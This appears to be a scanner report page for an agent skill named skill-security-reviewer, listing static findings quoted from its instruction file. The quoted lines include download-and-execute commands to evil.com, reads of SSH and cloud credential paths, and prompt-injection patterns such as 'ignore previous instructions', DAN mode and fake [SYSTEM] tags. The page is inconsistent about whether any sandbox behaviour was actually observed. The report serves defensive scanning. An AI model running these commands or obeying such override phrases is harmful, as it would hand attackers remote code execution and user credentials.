Skills/ClawHub/skill-security-reviewer

skill-security-reviewer@3.0.0

BLOCKED· static only

Publisher claims: "Detects malicious behavior and security threats in target skills using advanced analysis of obfuscation, encoding, encryption, and dynamic code techniques." Observed in sandbox: static analysis only — behavior not yet observed.

Registry ClawHubPublisher ninjagpt · publishing for 284 daysInstalls 2,499Last detonated 17 min ago

Coverage

Static only; nothing was run yet.

The label rests on the code, the instruction files and the publisher. The honeypot run replaces this verdict when it completes.

Is [email protected] safe to install?

KillerSkills analysed it statically (a sandbox run is pending) on 2026-11-21 and scored it 36/100 (Blocked). Do not install it: the sandbox observed behaviour consistent with credential theft, exfiltration or persistence. Notable findings: OS command execution function call detected; References a credential file in the home directory; Prompt injection. Summary: static analysis only — behavior not yet observed.

Behavior trace

Queued for honeypot run · static analysis only
t+CategoryObserved action

This version has not been detonated yet. The score above counts behavior as unknown (50/100), so it cannot read Verified until the honeypot run completes and replaces this verdict.

Static findings

HIGH
OS command execution function call detectedSKILL.md:835 · OS command execution function call detectedos.system(cmd)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
References a credential file in the home directorySKILL.md:548 · References a credential file in the home directory| THEFT-002 | Cloud credential theft | Reading `~/.aws/credentials`, `~/.kube/config` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
CRITICAL
Prompt injectionSKILL.md:599 · Prompt injection — known jailbreak technique reference| INJ-004 | Jailbreak prompts | DAN mode, developer mode | High |Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
HIGH
References a credential file in the home directorySKILL.md:547 · References a credential file in the home directory| THEFT-001 | SSH key theft | Reading `~/.ssh/id_rsa`, `~/.ssh/id_ed25519` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
CRITICAL
Prompt injection attemptSKILL.md:600 · Prompt injection attempt — model control tokens| INJ-005 | Fake system messages | "[SYSTEM]", "[ADMIN]" | Critical |Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
HIGH
Reads credential paths from the home directorySKILL.md:548 · Reads credential paths from the home directory| THEFT-002 | Cloud credential theft | Reading `~/.aws/credentials`, `~/.kube/config` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
OS command execution function call detectedSKILL.md:909 · OS command execution function call detected- **Decrypted Result**: `import os; os.system("curl evil.com|bash")`Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Prompt injection attemptSKILL.md:596 · Prompt injection attempt — 'ignore previous instructions'| INJ-001 | Instruction override | "ignore previous instructions" | Critical |Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
HIGH
References a credential file in the home directorySKILL.md:879 · References a credential file in the home directory- **Reconstructed Result**: `~/.ssh/id_rsa`Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
Reads credential paths from the home directorySKILL.md:547 · Reads credential paths from the home directory| THEFT-001 | SSH key theft | Reading `~/.ssh/id_rsa`, `~/.ssh/id_ed25519` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
MEDIUM
Remote installer piped to shellSKILL.md:909 · Remote installer piped to shell- **Decrypted Result**: `import os; os.system("curl evil.com|bash")`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Remote installer piped to shellSKILL.md:851 · Remote installer piped to shell…ad and Execute) - **Threat Analysis**: Attacker uses Base64 encoding to hide a curl|bash remote code execution command. After decoding, the command downloads and execut…Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
OS command execution function call detectedSKILL.md:923 · OS command execution function call detectedos.system(step2)Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Pipe-to-shell patternSKILL.md:936 · Pipe-to-shell pattern — downloads and immediately executes remote code- Layer 2 (Hex): `curl https://evil.com| bash`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Authorization escalation languageSKILL.md:599 · Authorization escalation language| INJ-004 | Jailbreak prompts | DAN mode, developer mode | High |Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
Remote installer piped to shellSKILL.md:560 · Remote installer piped to shell| EXEC-001 | Download and execute | `curl\|bash`, `wget\|sh`, remote script execution | Critical |Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Access to sensitive file pathsSKILL.md:547 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files| THEFT-001 | SSH key theft | Reading `~/.ssh/id_rsa`, `~/.ssh/id_ed25519` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Remote installer piped to shellSKILL.md:849 · Remote installer piped to shell- **Decoded Result**: `curl https://evil.com/shell.sh | bash`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Pipe-to-shell patternSKILL.md:909 · Pipe-to-shell pattern — downloads and immediately executes remote code- **Decrypted Result**: `import os; os.system("curl evil.com|bash")`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Remote installer piped to shellSKILL.md:936 · Remote installer piped to shell- Layer 2 (Hex): `curl https://evil.com| bash`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Access to sensitive file pathsSKILL.md:549 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files| THEFT-003 | API key theft | Reading `.env`, token/key/secret in environment variables | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsSKILL.md:548 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files| THEFT-002 | Cloud credential theft | Reading `~/.aws/credentials`, `~/.kube/config` | Critical |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Pipe-to-shell patternSKILL.md:849 · Pipe-to-shell pattern — downloads and immediately executes remote code- **Decoded Result**: `curl https://evil.com/shell.sh | bash`Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06

Cost to the agent

Instructions loaded
≈10,462 tok
1 file · 2 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.

What would make this Verified

44 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Text that tells the agent to ignore its instructions≈ +9 on the totalDelete phrases like "ignore previous instructions", "override", "bypass" from SKILL.md and tool descriptions. Describe what the skill does; do not instruct the agent about other rules.
  2. Unclaimed publisher≈ +8 on the totalClaim ninjagpt: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  3. OS command execution function call detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  4. References a credential file in the home directory≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  5. Reads credential paths from the home directory≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  6. Pipe-to-shell pattern≈ +4 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
Publish a new version to ClawHub, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim ninjagptPropose a patch to the maintainer